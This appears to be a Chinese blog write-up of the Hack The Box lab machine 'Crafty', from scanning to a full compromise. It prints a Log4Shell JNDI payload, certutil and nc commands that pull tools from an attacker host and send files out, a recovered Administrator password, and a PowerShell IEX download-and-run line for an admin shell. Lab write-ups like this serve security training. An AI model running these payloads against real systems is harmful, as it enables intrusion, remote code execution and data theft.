Hack The Box-Crafty

本文描述了通过nmap扫描发现一台运行IIS10.0的Windows服务器,利用Minecraft服务器的Log4j漏洞(CVE-2021-44228)进行权限提升的过程,包括信息收集、漏洞验证、提权方法以及getuser.txt和getAdministrator的获取策略。
摘要由CSDN通过智能技术生成

目录

信息收集

rustscan

whatweb

WEB

漏洞利用

漏洞说明

漏洞验证

提权

get user.txt

get Administrator

总结

信息收集

rustscan
┌──(root㉿ru)-[~/kali/hackthebox]
└─# rustscan -a 10.10.11.249 --range=0-65535 --ulimit=5000 -- -A -sC
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.249:80
Open 10.10.11.249:25565
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -sC -vvv -p 80,25565 10.10.11.249

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 13:37 CST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Initiating Ping Scan at 13:37
Scanning 10.10.11.249 [4 ports]
Completed Ping Scan at 13:37, 2.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:37
Scanning crafty.htb (10.10.11.249) [2 ports]
Discovered open port 80/tcp on 10.10.11.249
Discovered open port 25565/tcp on 10.10.11.249
Completed SYN Stealth Scan at 13:37, 0.30s elapsed (2 total ports)
Initiating Service scan at 13:37
Scanning 2 services on crafty.htb (10.10.11.249)
Completed Service scan at 13:37, 9.57s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against crafty.htb (10.10.11.249)
Retrying OS detection (try #2) against crafty.htb (10.10.11.249)
Initiating Traceroute at 13:37
Completed Traceroute at 13:37, 0.30s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:37
Completed Parallel DNS resolution of 1 host. at 13:37, 2.02s elapsed
DNS resolution of 1 IPs took 2.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
NSE: Script scanning 10.10.11.249.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 6.49s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 3.41s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Nmap scan report for crafty.htb (10.10.11.249)
Host is up, received echo-reply ttl 127 (0.26s latency).
Scanned at 2024-03-07 13:37:12 CST for 31s

PORT      STATE SERVICE   REASON          VERSION
80/tcp    open  http      syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Crafty - Official Website
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
25565/tcp open  minecraft syn-ack ttl 127 Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=3/7%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=65E952A7%P=x86_64-pc-linux-gnu)
SEQ(TI=I%II=I%SS=S%TS=U)
SEQ(SP=101%GCD=1%ISR=108%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 2 hops
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   276.70 ms 10.10.14.1
2   276.75 ms crafty.htb (10.10.11.249)

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.48 seconds
           Raw packets sent: 100 (8.148KB) | Rcvd: 33 (2.040KB)
从这可以看出。目标主机是一台windows主机,使用的是IIS 10.0服务器!

而且出现域名 crafty.htb  ,我们加入到hosts文件中!

本台机器一共开放了两个端口 80和25565端口!

80/tcp    open  http      syn-ack ttl 127 Microsoft IIS httpd 10.0
25565/tcp open  minecraft syn-ack ttl 127 Minecraft 1.16.5


whatweb
┌──(root㉿ru)-[~/kali/hackthebox]
└─# whatweb http://crafty.htb/
http://crafty.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]

WEB

 在主页发现子域名!经过尝试,没啥用!使用端口扫描器也没有探查到什么有用的东西!
 
 但是25565端口经过访问,发现有用的东西!

没错,就是这串java代码!我记得25565存在log4j漏洞!

确切地说,是 CVE-2021–44228。这个漏洞允许我们控制日志消息和参数来执行任意代码!!!

以下是此漏洞的poc!!!我们下载到本地去!

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.icon-default.png?t=N7T8https://github.com/kozmer/log4j-shell-poc?source=post_page-----316a735a306d--------------------------------


漏洞利用

漏洞说明

因为目标主机是windows,所以我们改成 cmd.exe

为了让“poc.py”顺利运行,我们需要一个名为“jdk1.8.0_20”的java存档。我找到了一个java存档

https://repo.huaweicloud.com/java/jdk/8u181-b13/

我们需要把他下载到log4j的目录内!

下载链接: https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

解压出来

tar -xf jdk-8u181-linux-x64.tar.gz


然后我们需要下载一个PyCraft ,它由 Python 编写的 Minecraft 客户端,它允许玩家使用 Python 编程语言来控制 Minecraft 游戏中的各种元素,
包括创建自动化过程、修改游戏中的世界、添加新功能等。

我们需要下载一个,因为根据网站页面提示,就是mc服务器存在漏洞!版本是1.16.5

https://github.com/ammaraskar/pyCraft?source=post_page-----316a735a306d--------------------------------icon-default.png?t=N7T8https://github.com/ammaraskar/pyCraft?source=post_page-----316a735a306d--------------------------------


然后,我们需要设置一个虚拟环境供 pyCraft 运行

virtualenv ENV

source ENV/bin/activate

pip install -r requirements.txt

------------------------------------
virtualenv ENV: 这是创建一个名为 ENV 的虚拟环境的命令。虚拟环境用于隔离项目的依赖,确保项目中使用的库和工具不会与系统中的其他项目冲突。

source ENV/bin/activate: 这是激活虚拟环境的命令。在虚拟环境中运行的所有命令和脚本将使用该环境中的 Python 解释器和依赖项。

pip install -r requirements.txt: 这是使用 pip 安装项目所需的依赖项的命令。通常,项目的依赖项会列在一个名为 requirements.txt 的文件中,
该命令会根据该文件安装所有必要的库。


漏洞验证
做完这些,我们需要一个监听器!我们需要利用log4j的poc,在此mc的服务器上进行反弹shell,所以需要一个监听器!

只需要输入Mojang的账号密码即可!但是我懒得注册,所以我们采用另一种方式

就是直接去下载相应版本的游戏,因为该漏洞是存在mc游戏服务器里面的!我们只需要下载相应版本的游戏,再连接服务器,再次执行log4j漏洞的payload,即可触发该漏洞!


先在官网下载debian版本的mc,然后打开程序,下载一个版本是1.16.5的mc即可!然后打开!

打开发现是试玩模式,无法远程连接服务器,需要另外的解决办法

经过我不断地寻找,发现可以使用TLauncher来进行免登录游玩,具体步骤如下

  先安装一个TLauncher的jdk1.8依赖环境,我们已经安装好了!(记得改个名字 : jdk1.8.0_20)

然后,我们去 https://tlauncher.org/en/ 下载一个 TLauncher

将TLauncher解压后,会有一个jar文件,将其放到下载的jdk的文件夹下,然后启动即可!

会先下载一个库,比较慢!

完成更新之后,随便写一个名字,游戏版本选择 1.16.5版本!即可开始游戏!!

这样就完成了!

选择多人游戏 --> 添加服务器  -->  10.10.11.249:25565  即可!

在游戏的聊天框(按/,然后删除)中发送之前监听的payload : ${jndi:ldap://10.10.14.29:1389/a} 

这样就反弹shell了!

提权

get user.txt

在桌面找到user.txt

get Administrator

在plugins目录下,找到一个jar文件!

我们想办法下载到本地去!使用nc即可,我们先上传一个为windows版nc! (或者使用powershell,因为这个太简单了,所以尝试nc)

certutil.exe -urlcache -split -f http://10.10.14.29:7890/nc.exe nc.exe

certutil.exe:Windows 自带的证书工具程序


在kali开启 nc -lp 3434 > playercounter-1.0-SNAPSHOT.jar 进行接收文件!

在windows上,把jar文件传给kali:  .\nc.exe 10.10.14.29 3434 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

我们使用查看jar包的软件进行查看jar包!

我的建议是使用 JD-GUI 可以查看源码安装方便  apt-get install jd-gui   即可!

我们在源码中发现一个类似于密码的字符串!可能是管理员的!我们尝试!

1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred

这是一个 PowerShell 脚本用于创建一个凭据对象、以管理员身份启动 PowerShell 进程并下载执行 shell.ps1 脚本。

这段代码做了以下几件事情:

1. 创建一个 SecureString 对象 `$SecPass`,并将字符串 `'s67u84zKq8IXw'` 转换为一个安全字符串,用于保存密码。
2. 创建一个 PScredential 对象 `$cred`,该对象使用用户名 `'Administrator'` 和上一步创建的安全字符串作为密码。
3. 使用 Start-Process 命令启动一个新的 PowerShell 进程。命令的参数 `-FilePath "powershell"` 表示要执行的文件是 PowerShell,而 `-argumentlist` 参数指定了要传递给 PowerShell 的命令。
4. 在 `-argumentlist` 中,使用 IEX(Invoke-Expression)和 Net.WebClient 的 downloadString 方法来下载执行位于 `http://10.10.14.29:5454/shell.list` 的远程 PowerShell 脚本。此处的 URL 指向远程服务器上的 shell.ps1 脚本文件。下载的脚本将在以管理员身份启动的 PowerShell 进程中执行。
5. `-Credential $cred` 参数将之前创建的凭据对象传递给新启动的 PowerShell 进程,以确保以管理员身份运行该脚本。

shell.list 自己去生成!  里面的监听端口设置随意的即可!我设置的9999监听端口!

1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred


总结
 通过 nmap 扫描识别出 HTTP 网页和 Minecraft 服务器。
 扫描显示服务器正在运行 IIS 10.0 — IIS 冗长并不是最佳实践。Nmap 服务版本很详细,可以轻松枚举漏洞。
 端口 25565 上的 Minecraft 服务器被识别为 v1.16.5,该服务器存在已知的 Log4j 漏洞,如 CVE-2021-44228 中记录的那样。
 该漏洞允许服务器上的用户输入简单的有效负载来获取服务器上的 shell。虽然某些权限可以限制损害,但存在一种允许使用管理员权限进行权限升级的方法。
 这个将危及用户的机密性,并可能导致服务器的完整性和可用性面临风险。最佳办法就是要求服​​务器立即修补或更新到最新版本

  • 18
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值